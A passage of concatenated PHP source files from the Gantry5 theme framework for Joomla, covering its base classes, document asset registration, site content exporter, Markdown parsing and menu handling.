\Gantry\Debugger::addMessage("Depredated call:
gantry.configurations");
static $collection;
if (!$collection) {
$collection = (new Outlines($c))->load();
}
return $collection->copy();
});
$instance['positions'] = $instance->factory(function
($c) {
static $collection;
if (!$collection) {
$collection = (new Positions($c))->load();
}
return $collection->copy();
});
$instance['global'] = function ($c) {
$data = $c->loadGlobal() + [
'debug' => false,
'production' => true,
'use_media_folder' => false,
'asset_timestamps' => true,
'asset_timestamps_period' => 7,
'compile_yaml' => true,
'compile_twig' => true,
'offline_message' => ''
];
return new Config($data);
};
return $instance;
}
/**
* Check if Gantry is compatible with your theme / extension.
*
* This function can be used to make sure that user has installed
Gantry version
* that has been tested to work with your extension. All existing
functions should
* be backwards compatible, but each release can add some new
functionality, which
* you may want to use.
*
* <code>
* if ($gantry->isCompatible('5.0.1')) {
* // You can do it in the new way.
* } else {
* // Revert to the old way to display an error message.
* }
* </code>
*
* @param string $version Minimum required version.
*
* @return boolean Yes, if it is safe to use Gantry Framework.
*/
public function isCompatible($version)
{
// If requested version is smaller than 5.0-rc, it's not
compatible.
if (version_compare($version, '5.0-rc',
'<')) {
return false;
}
// Development version support.
if ($version === '5.3' || static::isDev()) {
return true;
}
// Check if future version is needed.
if (version_compare($version, GANTRY5_VERSION, '>')) {
return false;
}
return true;
}
/**
* Check if Gantry is running from a Git repository or is a CI build.
*
* Developers tend to do their work directly in the Git repositories
instead of
* creating and installing new builds after every change. This function
can be
* used to check the condition and make sure we do not break users
repository
* by replacing files during upgrade.
*
* @return boolean True if Git repository or CI build is detected.
*/
public function isDev()
{
if ('@version@' == GANTRY5_VERSION) {
return true;
}
if ('dev-' === substr(GANTRY5_VERSION, 0, 4)) {
return true;
}
return false;
}
/**
* @return array
*/
protected function loadGlobal()
{
return [];
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Framework\Base;
abstract class Page
{
protected $container;
protected $config;
public function __construct($container)
{
$this->container = $container;
$this->config = $container['config'];
}
public function doctype()
{
return $this->config->get('page.doctype',
'html');
}
abstract public function url(array $args = []);
public function preset()
{
/** @var Theme $theme */
$theme = $this->container['theme'];
return 'g-' . preg_replace('/[^a-z0-9-]/',
'', $theme->type());
}
public function htmlAttributes()
{
return
$this->getAttributes($this->config->get('page.html'));
}
public function bodyAttributes($attributes = [])
{
return
$this->getAttributes($this->config->get('page.body.attribs'),
$attributes);
}
protected function getAttributes($params, $extra = [])
{
$params = array_merge_recursive($params, $extra);
$list = [];
foreach ($params as $param => $value) {
if (!$value) { continue; }
if (!is_array($value) || !count(array_filter($value,
'is_array'))) {
$value = array_filter(array_unique((array) $value));
$list[] = $param . '="' . implode('
', $value) . '"';
} else {
$values = new \RecursiveIteratorIterator(new
\RecursiveArrayIterator($value));
foreach ($values as $iparam => $ivalue) {
$ivalue = array_filter(array_unique((array) $ivalue));
$list[] = $iparam . '="' .
implode(' ', $ivalue) . '"';
}
}
}
return $list ? ' ' . implode(' ', $list) :
'';
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Framework\Base;
use Gantry\Component\Filesystem\Folder;
use RocketTheme\Toolbox\ArrayTraits\Export;
use RocketTheme\Toolbox\ArrayTraits\NestedArrayAccess;
use RocketTheme\Toolbox\DI\Container;
/**
* The Platform Configuration class contains configuration information.
*
* @author RocketTheme
* @license MIT
*/
abstract class Platform
{
use NestedArrayAccess, Export;
protected $name;
protected $features = [];
protected $settings_key;
protected $items;
protected $container;
public function __construct(Container $container)
{
$this->container = $container;
//Make sure that cache folder exists, otherwise it will be removed
from the lookup.
$cachePath = $this->getCachePath();
Folder::create($cachePath);
$this->items = [
'streams' => [
// Cached files.
'gantry-cache' => [
'type' => 'Stream',
'force' => true,
'prefixes' => ['' =>
[$cachePath]]
],
// Container for all frontend themes.
'gantry-themes' => [
'type' => 'ReadOnlyStream',
'prefixes' => $this->getThemesPaths()
],
// Selected frontend theme.
'gantry-theme' => [
'type' => 'ReadOnlyStream',
'prefixes' => $this->getThemePaths()
],
// System defined media files.
'gantry-assets' => [
'type' => 'ReadOnlyStream',
'prefixes' => $this->getAssetsPaths()
],
// User defined media files.
'gantry-media' => [
'type' => 'ReadOnlyStream',
'prefixes' => $this->getMediaPaths()
],
// Container for all Gantry engines.
'gantry-engines' => [
'type' => 'ReadOnlyStream',
'prefixes' => $this->getEnginesPaths()
],
// Gantry engine used to render the selected theme.
'gantry-engine' => [
'type' => 'ReadOnlyStream',
'prefixes' => $this->getEnginePaths()
],
// Layout definitions for the blueprints.
'gantry-layouts' => [
'type' => 'ReadOnlyStream',
'prefixes' => ['' =>
['gantry-theme://layouts', 'gantry-engine://layouts']]
],
// Gantry particles.
'gantry-particles' => [
'type' => 'ReadOnlyStream',
'prefixes' => ['' =>
['gantry-theme://particles',
'gantry-engine://particles']]
],
// Gantry administration.
'gantry-admin' => [
'type' => 'ReadOnlyStream',
'prefixes' => []
],
// Blueprints for the configuration.
'gantry-blueprints' => [
'type' => 'ReadOnlyStream',
'prefixes' => [
'' =>
['gantry-theme://blueprints',
'gantry-engine://blueprints'],
'particles' =>
['gantry-particles://']
]
],
// Configuration from the selected theme.
'gantry-config' => [
'type' => 'ReadOnlyStream',
'prefixes' => ['' =>
['gantry-theme://config']]
]
]
];
}
abstract public function getCachePath();
abstract public function getThemesPaths();
abstract public function getAssetsPaths();
abstract public function getMediaPaths();
public function init()
{
return $this;
}
public function has($feature)
{
return !empty($this->features[$feature]);
}
public function getThemePaths()
{
return ['' => []];
}
public function getEnginePaths($name = 'nucleus')
{
return ['' => ['gantry-theme://engine',
"gantry-engines://{$name}"]];
}
public function getEnginesPaths()
{
return ['' => []];
}
public function errorHandlerPaths()
{
return [];
}
/**
* Get preview url for individual theme.
*
* @param string $theme
* @return string|null
*/
abstract public function getThemePreviewUrl($theme);
/**
* Get administrator url for individual theme.
*
* @param string $theme
* @return string|null
*/
abstract public function getThemeAdminUrl($theme);
public function settings()
{
return null;
}
public function settings_key()
{
return $this->settings_key;
}
public function listModules()
{
return false;
}
public function getName()
{
return $this->name;
}
public function getEditor($name, $content = '', $width =
null, $height = null)
{
return null;
}
public function filter($text)
{
return $text;
}
public function finalize()
{
$gantry = Gantry::instance();
$gantry['document']->registerAssets();
}
public function call()
{
$args = func_get_args();
$callable = array_shift($args);
return is_callable($callable) ? call_user_func_array($callable,
$args) : null;
}
public function authorize($action)
{
return true;
}
/**
* @param array|string $dependencies
* @return bool|null
* @since 5.4.3
*/
public function checkDependencies($dependencies)
{
if (is_string($dependencies) && $dependencies !==
$this->name) {
return false;
}
if (isset($dependencies['platform'])) {
if (is_string($dependencies['platform']) &&
$dependencies['platform'] !== $this->name) {
return false;
}
if
(!isset($dependencies['platform'][$this->name])) {
return false;
}
}
return true;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Framework\Base;
class Site
{
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Framework\Base;
use Gantry\Component\Theme\AbstractTheme;
use Gantry\Component\Theme\ThemeTrait;
/**
* @deprecated 5.1.5
*/
abstract class Theme extends AbstractTheme
{
use ThemeTrait;
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Framework;
/**
* @deprecated 5.1.1
*/
class Configurations extends Outlines
{
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Framework;
use Gantry\Component\Content\Document\HtmlDocument;
class Document extends HtmlDocument
{
protected static $availableFrameworks = [
'jquery' => 'registerJquery',
'jquery.framework' => 'registerJquery',
'jquery.ui.core' => 'registerJqueryUiCore',
'jquery.ui.sortable' =>
'registerJqueryUiSortable',
'bootstrap.2' => 'registerBootstrap2',
'mootools' => 'registerMootools',
'mootools.framework' => 'registerMootools',
'mootools.core' => 'registerMootools',
'mootools.more' => 'registerMootoolsMore',
'lightcase' => 'registerLightcase',
'lightcase.init' => 'registerLightcaseInit',
];
public static function registerAssets()
{
static::registerFrameworks();
static::registerStyles();
static::registerScripts();
}
/**
* NOTE: In PHP this function can be called either from Gantry DI
container or statically.
*
* @param bool $addDomain
* @return string
*/
public static function domain($addDomain = false)
{
if (!$addDomain) {
return '';
}
$absolute = \JUri::root(false);
$relative = \JUri::root(true);
return substr($absolute, 0, -strlen($relative));
}
public static function rootUri()
{
return rtrim(\JUri::root(true), '/') ?: '/';
}
public static function errorPage($new = null)
{
static $error = false;
if (isset($new)) {
$error = (bool) $new;
}
return $error;
}
protected static function registerStyles()
{
if (static::errorPage()) {
return;
}
$doc = \JFactory::getDocument();
$styles = static::$stack[0]->getStyles();
foreach ($styles as $style) {
switch ($style[':type']) {
case 'file':
$doc->addStyleSheet($style['href'],
$style['type'], $style['media'],
$style['element']);
break;
case 'inline':
$doc->addStyleDeclaration($style['content'],
$style['type']);
break;
}
}
}
protected static function registerScripts()
{
if (static::errorPage()) {
return;
}
$doc = \JFactory::getDocument();
$scripts = static::$stack[0]->getScripts();
foreach ($scripts as $script) {
switch ($script[':type']) {
case 'file':
$doc->addScript($script['src'],
$script['type'], $script['defer'],
$script['async']);
break;
case 'inline':
$doc->addScriptDeclaration($script['content'],
$script['type']);
break;
}
}
}
protected static function registerJquery()
{
if (!static::errorPage()) {
\JHtml::_('jquery.framework');
return;
}
// Workaround for error document type.
static::addHeaderTag(
[
'tag' => 'script',
'src' => \JUri::getInstance()->base(true) .
'/media/jui/js/jquery.min.js'
],
'head',
100
);
static::addHeaderTag(
[
'tag' => 'script',
'src' => \JUri::getInstance()->base(true) .
'/media/jui/js/jquery-noconflict.js'
],
'head',
100
);
static::addHeaderTag(
[
'tag' => 'script',
'src' => \JUri::getInstance()->base(true) .
'/media/jui/js/jquery-migrate.min.js'
],
'head',
100
);
}
protected static function registerJqueryUiCore()
{
if (!static::errorPage()) {
\JHtml::_('jquery.ui', ['core']);
return;
}
// Workaround for error document type.
static::registerJquery();
static::addHeaderTag(
[
'tag' => 'script',
'src' => \JUri::getInstance()->base(true) .
'/media/jui/js/jquery.ui.core.min.js'
],
'head',
100
);
}
protected static function registerJqueryUiSortable()
{
if (!static::errorPage()) {
\JHtml::_('jquery.ui', ['sortable']);
return;
}
// Workaround for error document type.
static::registerJqueryUiCore();
static::addHeaderTag(
[
'tag' => 'script',
'src' => \JUri::getInstance()->base(true) .
'/media/jui/js/jquery.ui.sortable.min.js'
],
'head',
100
);
}
protected static function registerBootstrap2()
{
Gantry::instance()['theme']->joomla(true);
if (!static::errorPage()) {
\JHtml::_('bootstrap.framework');
return;
}
// Workaround for error document type.
static::registerJquery();
static::addHeaderTag(
[
'tag' => 'script',
'src' => \JUri::getInstance()->base(true) .
'/media/jui/js/bootstrap.min.js'
],
'head',
100
);
}
protected static function registerMootools()
{
if (!static::errorPage()) {
\JHtml::_('behavior.framework');
return;
}
// Workaround for error document type.
static::addHeaderTag(
[
'tag' => 'script',
'src' => \JUri::getInstance()->base(true) .
'/media/system/js/mootools-core.js'
],
'head',
99
);
static::addHeaderTag(
[
'tag' => 'script',
'src' => \JUri::getInstance()->base(true) .
'/media/system/js/core.js'
],
'head',
99
);
}
protected static function registerMootoolsMore()
{
if (!static::errorPage()) {
\JHtml::_('behavior.framework', true);
return;
}
// Workaround for error document type.
static::registerMootools();
static::addHeaderTag(
[
'tag' => 'script',
'src' => \JUri::getInstance()->base(true) .
'/media/system/js/mootools-more.js'
],
'head',
99
);
}
/**
* Override to support index.php?Itemid=xxx.
*
* @param array $matches
* @return string
* @internal
*/
public static function linkHandler(array $matches)
{
$url = trim($matches[3]);
if (strpos($url, 'index.php?') !== 0) {
list($domain, $timestamp_age) = static::$urlFilterParams;
$url = static::url(trim($matches[3]), $domain, $timestamp_age);
}
return "{$matches[1]}{$matches[2]}=\"{$url}\"";
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Framework;
class Exception extends \RuntimeException
{
protected $responseCodes = [
200 => '200 OK',
400 => '400 Bad Request',
401 => '401 Unauthorized',
403 => '403 Forbidden',
404 => '404 Not Found',
410 => '410 Gone',
500 => '500 Internal Server Error',
501 => '501 Not Implemented',
503 => '503 Service Temporarily Unavailable'
];
public function getResponseCode() {
return isset($this->responseCodes[$this->code]) ? (int)
$this->code : 500;
}
public function getResponseStatus() {
return $this->responseCodes[$this->getResponseCode()];
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Framework;
use Gantry\Component\Layout\Layout;
use Gantry\Framework\Services\ConfigServiceProvider;
use Gantry\Joomla\Category\CategoryFinder;
use Gantry\Joomla\Content\ContentFinder;
use Gantry\Joomla\Module\ModuleFinder;
use Gantry\Joomla\StyleHelper;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class Exporter
{
protected $files = [];
public function all()
{
$theme = Gantry::instance()['theme']->details();
return [
'export' => [
'gantry' => [
'version' => GANTRY5_VERSION !==
'@version@' ? GANTRY5_VERSION : 'GIT',
'format' => 1
],
'platform' => [
'name' => 'joomla',
'version' => JVERSION
],
'theme' => [
'name' =>
$theme->get('name'),
'title' =>
$theme->get('details.name'),
'version' =>
$theme->get('details.version'),
'date' =>
$theme->get('details.date'),
'author' =>
$theme->get('details.author'),
'copyright' =>
$theme->get('details.copyright'),
'license' =>
$theme->get('details.license'),
]
],
'outlines' => $this->outlines(),
'positions' => $this->positions(),
'menus' => $this->menus(),
'content' => $this->articles(),
'categories' => $this->categories(),
'files' => $this->files,
];
}
public function outlines()
{
$gantry = Gantry::instance();
$styles = StyleHelper::loadStyles($gantry['theme.name']);
$list = [
'default' => ['title' =>
'Default'],
'_error' => ['title' =>
'Error'],
'_offline' => ['title' =>
'Offline'],
'_body_only' => ['title' =>
'Body Only'],
];
$inheritance = [];
foreach ($styles as $style) {
$name = $base =
strtolower(trim(preg_replace('|[^a-z\d_-]+|ui', '_',
$style->title), '_'));
$i = 0;
while (isset($list[$name])) {
$i++;
$name = "{$base}-{$i}";
};
$inheritance[$style->id] = $name;
$list[$name] = [
'id' => (int) $style->id,
'title' => $style->title,
'home' => $style->home,
];
if (!$style->home) {
unset($list[$name]['home']);
}
}
foreach ($list as $name => &$style) {
$id = isset($style['id']) ? $style['id'] :
$name;
$config = ConfigServiceProvider::load($gantry, $id, false,
false);
// Update layout inheritance.
$layout = Layout::instance($id);
$layout->name = $name;
foreach ($inheritance as $from => $to) {
$layout->updateInheritance($from, $to);
}
$style['preset'] =
$layout->preset['name'];
$config['index'] = $layout->buildIndex();
$config['layout'] = $layout->export();
// Update atom inheritance.
$atoms = $config->get('page.head.atoms');
if (is_array($atoms)) {
$atoms = new Atoms($atoms);
foreach ($inheritance as $from => $to) {
$atoms->updateInheritance($from, $to);
}
$config->set('page.head.atoms',
$atoms->update()->toArray());
}
// Add assignments.
if (is_numeric($id)) {
$assignments = $this->getOutlineAssignments($id);
if ($assignments) {
$config->set('assignments',
$this->getOutlineAssignments($id));
}
}
$style['config'] = $config->toArray();
}
return $list;
}
public function positions($all = true)
{
$gantry = Gantry::instance();
$positions = $gantry['outlines']->positions();
$positions['debug'] = 'Debug';
$finder = new ModuleFinder();
if (!$all) {
$finder->particle();
}
$modules = $finder->find()->export();
$list = [];
foreach ($modules as $position => &$items) {
if (!isset($positions[$position])) {
continue;
}
foreach ($items as &$item) {
$func = 'module' .
$item['options']['type'];
if (method_exists($this, $func)) {
$item = $this->{$func}($item);
}
}
$list[$position] = [
'title' => $positions[$position],
'items' => $items,
];
}
return $list;
}
public function menus()
{
$gantry = Gantry::instance();
$db = \JFactory::getDbo();
$query = $db->getQuery(true)
->select('id, menutype, title, description')
->from('#__menu_types');
$db->setQuery($query);
$menus = $db->loadObjectList('id');
$list = [];
foreach ($menus as $menu) {
$items =
$gantry['menu']->instance(['menu' =>
$menu->menutype])->items(false);
array_walk(
$items,
function (&$item) {
$item['id'] = (int) $item['id'];
if (in_array($item['type'],
['component', 'alias'])) {
$item['type'] =
"joomla.{$item['type']}";
}
unset($item['alias'],
$item['path'], $item['parent_id'],
$item['level']);
}
);
$list[$menu->menutype] = [
'id' => (int) $menu->id,
'title' => $menu->title,
'description' => $menu->description,
'items' => $items
];
}
return $list;
}
public function articles()
{
$finder = new ContentFinder();
$articles = $finder->limit(0)->find();
$list = [];
foreach ($articles as $article) {
$exported = $article->toArray();
// Convert images to use streams.
$exported['introtext'] =
$this->urlFilter($exported['introtext']);
$exported['fulltext'] =
$this->urlFilter($exported['fulltext']);
$list[$article->id . '-' . $article->alias] =
$exported;
}
return $list;
}
public function categories()
{
$finder = new CategoryFinder();
$categories = $finder->limit(0)->find();
$list = [];
foreach ($categories as $category) {
$list[$category->id] = $category->toArray();
}
return $list;
}
/**
* List all the rules available.
*
* @param string $configuration
* @return array
*/
public function getOutlineAssignments($configuration)
{
require_once JPATH_ADMINISTRATOR .
'/components/com_menus/helpers/menus.php';
$app = \JApplicationCms::getInstance('site');
$menu = $app->getMenu();
$data = \MenusHelper::getMenuLinks();
$items = [];
foreach ($data as $item) {
foreach ($item->links as $link) {
if ($link->template_style_id == $configuration) {
$items[$menu->getItem($link->value)->route] =
1;
}
}
}
if ($items) {
return ['page' => [$items]];
}
return [];
}
/**
* Filter stream URLs from HTML.
*
* @param string $html HTML input to be filtered.
* @return string Returns modified HTML.
*/
public function urlFilter($html)
{
// Tokenize all PRE and CODE tags to avoid modifying any
src|href|url in them
$tokens = [];
$html =
preg_replace_callback('#<(pre|code).*?>.*?<\\/\\1>#is',
function($matches) use (&$tokens) {
$token = uniqid('__g5_token');
$tokens['#' . $token . '#'] = $matches[0];
return $token;
}, $html);
$html =
preg_replace_callback('^(\s)(src|href)="(.*?)"^',
[$this, 'linkHandler'], $html);
$html = preg_replace_callback('^(\s)url\((.*?)\)^',
[$this, 'urlHandler'], $html);
$html = preg_replace(array_keys($tokens), array_values($tokens),
$html); // restore tokens
return $html;
}
public function url($url)
{
// Only process local urls.
if ($url === '' || $url[0] === '/' || $url[0]
=== '#') {
return $url;
}
/** @var UniformResourceLocator $locator */
$locator = Gantry::instance()['locator'];
// Handle URIs.
if (strpos($url, '://')) {
if ($locator->isStream($url)) {
// File is a stream, include it to files list.
list ($stream, $path) = explode('://', $url);
$this->files[$stream][$path] = $url;
}
return $url;
}
// Try to convert local paths to streams.
$paths = $locator->getPaths();
$found = false;
$stream = $path = '';
foreach ($paths as $stream => $prefixes) {
foreach ($prefixes as $prefix => $paths) {
foreach ($paths as $path) {
if (is_string($path) && strpos($url, $path) ===
0) {
$path = ($prefix ? "{$prefix}/" :
'') . substr($url, strlen($path) + 1);
$found = true;
break 3;
}
}
}
}
if ($found) {
$url = "{$stream}://{$path}";
$this->files[$stream][$path] = $url;
}
return $url;
}
/**
* @param array $matches
* @return string
* @internal
*/
public function linkHandler(array $matches)
{
$url = $this->url(trim($matches[3]));
return "{$matches[1]}{$matches[2]}=\"{$url}\"";
}
/**
* @param array $matches
* @return string
* @internal
*/
public function urlHandler(array $matches)
{
$url = $this->url(trim($matches[2], '"\''));
return "{$matches[1]}url({$url})";
}
protected function moduleMod_Custom(array $data)
{
// Convert to particle...
$data['type'] = 'particle';
$data['joomla'] = $data['options'];
$data['options'] = [
'type' => 'custom',
'attributes' => [
'enabled' =>
$data['joomla']['published'],
'html' =>
$this->urlFilter($data['joomla']['content']),
'filter' =>
$data['joomla']['params']['prepare_content']
]
];
unset($data['joomla']['content'],
$data['joomla']['params']['prepare_content']);
return $data;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Framework;
class Gantry extends Base\Gantry
{
/**
* @return boolean
*/
public function debug()
{
return JDEBUG;
}
/**
* @return boolean
*/
public function admin()
{
return \JFactory::getApplication()->isAdmin();
}
/**
* @param string $location
* @param bool $force
* @return array
*/
public function styles($location = 'head', $force = false)
{
// Do not display head, Joomla will take care of it (most of the
time).
return (!$force && $location == 'head') ? [] :
parent::styles($location);
}
/**
* @param string $location
* @param bool $force
* @return array
*/
public function scripts($location = 'head', $force = false)
{
// Do not display head, Joomla will take care of it (most of the
time).
return (!$force && $location == 'head') ? [] :
parent::scripts($location);
}
/**
* @return array
*/
protected function loadGlobal()
{
$global = null;
// Trigger the event.
$dispatcher = \JEventDispatcher::getInstance();
$dispatcher->trigger('onGantryGlobalConfig',
['global' => &$global]);
return $global;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Framework\Markdown;
class Parsedown extends \Parsedown
{
use ParsedownTrait;
/**
* Parsedown constructor.
*
* @param array $defaults
*/
public function __construct(array $defaults = null)
{
$this->init($defaults ?: []);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Framework\Markdown;
class ParsedownExtra extends \ParsedownExtra
{
use ParsedownTrait;
/**
* ParsedownExtra constructor.
*
* @param array $defaults
* @throws \Exception
*/
public function __construct(array $defaults = null)
{
parent::__construct();
$this->init($defaults ?: []);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Framework\Markdown;
use Gantry\Framework\Gantry;
trait ParsedownTrait
{
protected $special_chars;
protected $twig_link_regex =
'/\!*\[(?:.*)\]\((\{([\{%#])\s*(.*?)\s*(?:\2|\})\})\)/';
/**
* Initialization function to setup key variables needed by the
MarkdownGravLinkTrait
*
* @param $defaults
*/
protected function init(array $defaults)
{
$defaults += [
'auto_line_breaks' => false,
'auto_url_links' => false,
'escape_markup' => false,
'special_chars' => false
];
$this->BlockTypes['{'][] = 'TwigTag';
$this->special_chars = ['>' => 'gt',
'<' => 'lt', '"' =>
'quot'];
$this->setBreaksEnabled($defaults['auto_line_breaks']);
$this->setUrlsLinked($defaults['auto_url_links']);
$this->setMarkupEscaped($defaults['escape_markup']);
$this->setSpecialChars($defaults['special_chars']);
}
/**
* Setter for special chars
*
* @param $special_chars
*
* @return $this
*/
public function setSpecialChars($special_chars)
{
$this->special_chars = $special_chars;
return $this;
}
/**
* Ensure Twig tags are treated as block level items with no
<p></p> tags
*
* @param array $line
* @return array|null
*/
protected function blockTwigTag($line)
{
if (preg_match('/(?:{{|{%|{#)(.*)(?:}}|%}|#})/',
$line['body'], $matches)) {
return ['markup' => $line['body']];
}
return null;
}
protected function inlineSpecialCharacter($excerpt)
{
if ($excerpt['text'][0] === '&' &&
!preg_match('/^&#?\w+;/', $excerpt['text'])) {
return [
'markup' => '&',
'extent' => 1,
];
}
if (isset($this->special_chars[$excerpt['text'][0]]))
{
return [
'markup' => '&' .
$this->special_chars[$excerpt['text'][0]] . ';',
'extent' => 1,
];
}
return null;
}
protected function inlineImage($excerpt)
{
if (preg_match($this->twig_link_regex,
$excerpt['text'], $matches)) {
$excerpt['text'] = str_replace($matches[1],
'/', $excerpt['text']);
$excerpt = parent::inlineImage($excerpt);
$excerpt['element']['attributes']['src'] =
$matches[1];
$excerpt['extent'] = $excerpt['extent'] +
\strlen($matches[1]) - 1;
return $excerpt;
}
$excerpt['type'] = 'image';
$excerpt = parent::inlineImage($excerpt);
// if this is an image process it
if
(isset($excerpt['element']['attributes']['src']))
{
$gantry = Gantry::instance();
$excerpt['element']['attributes']['src'] =
$gantry['document']->url($excerpt['element']['attributes']['src']);
}
return $excerpt;
}
protected function inlineLink($excerpt)
{
if (!isset($excerpt['type'])) {
$excerpt['type'] = 'link';
}
// do some trickery to get around Parsedown requirement for valid
URL if its Twig in there
if (preg_match($this->twig_link_regex,
$excerpt['text'], $matches)) {
$excerpt['text'] = str_replace($matches[1],
'/', $excerpt['text']);
$excerpt = parent::inlineLink($excerpt);
$excerpt['element']['attributes']['href'] =
$matches[1];
$excerpt['extent'] = $excerpt['extent'] +
\strlen($matches[1]) - 1;
return $excerpt;
}
$excerpt = parent::inlineLink($excerpt);
// if this is a link
if
(isset($excerpt['element']['attributes']['href']))
{
$gantry = Gantry::instance();
$excerpt['element']['attributes']['href'] =
$gantry['document']->url($excerpt['element']['attributes']['href']);
}
return $excerpt;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Framework;
use Gantry\Component\Config\Config;
use Gantry\Component\Gantry\GantryTrait;
use Gantry\Component\Menu\AbstractMenu;
use Gantry\Component\Menu\Item;
class Menu extends AbstractMenu
{
use GantryTrait;
/**
* @var \JApplicationCms
*/
protected $app;
/**
* @var \JMenu
*/
protected $menu;
public function __construct()
{
$this->app = \JApplicationCms::getInstance('site');
$lang = \JFactory::getLanguage();
$tag = \JLanguageMultilang::isEnabled() ? $lang->getTag() :
'*';
$this->menu = $this->app->getMenu();
$this->default = $this->menu->getDefault($tag);
$this->active = $this->menu->getActive();
}
public function init(&$params)
{
parent::init($params);
if (!empty($params['admin'])) {
/** @var \JTableMenuType $table */
$menuType = \JTable::getInstance('MenuType');
$menuType->load(['menutype' =>
$params['menu']]);
$config = $this->config();
$config->set('settings.title',
$menuType->title);
$config->set('settings.description',
$menuType->description);
}
}
/**
* Return list of menus.
*
* @return array
* @throws \RuntimeException
*/
public function getMenus()
{
static $items;
if ($items === null) {
require_once JPATH_ADMINISTRATOR .
'/components/com_menus/helpers/menus.php';
$items = (array) \MenusHelper::getMenuTypes();
}
return $items;
}
public function getGroupedItems()
{
$groups = array();
// Get the menu items.
$items = \MenusHelper::getMenuLinks();
// Build the groups arrays.
foreach ($items as $item) {
// Initialize the group.
$groups[$item->menutype] = [];
// Build the options array.
foreach ($item->links as $link) {
$groups[$item->menutype][$link->value] = [
'spacing' => str_repeat('
', max(0, $link->level-1)),
'label' => $link->text
];
}
}
return $groups;
}
/**
* Return default menu.
*
* @return string|null
*/
public function getDefaultMenuName()
{
return $this->default ? $this->default->menutype : null;
}
/**
* Returns true if the platform implements a Default menu.
*
* @return boolean
*/
public function hasDefaultMenu()
{
return true;
}
/**
* Return active menu.
*
* @return string|null
*/
public function getActiveMenuName()
{
return $this->active ? $this->active->menutype : null;
}
/**
* Returns true if the platform implements an Active menu.
*
* @return boolean
*/
public function hasActiveMenu()
{
return true;
}
/**
* @return string|null
*/
public function getCacheId()
{
if (!\JFactory::getUser()->guest) {
return null;
}
return $this->active ? $this->active->id : 0;
}
public function isActive($item)
{
$tree = $this->base->tree;
if (in_array($item->id, $tree)) {
return true;
} elseif ($item->type == 'alias') {
$aliasToId = $item->link_id;
if (count($tree) > 0 && $aliasToId ==
$tree[count($tree) - 1]) {
return (bool) $this->params['highlightAlias'];
} elseif (in_array($aliasToId, $tree)) {
return (bool)
$this->params['highlightParentAlias'];
}
}
return false;
}
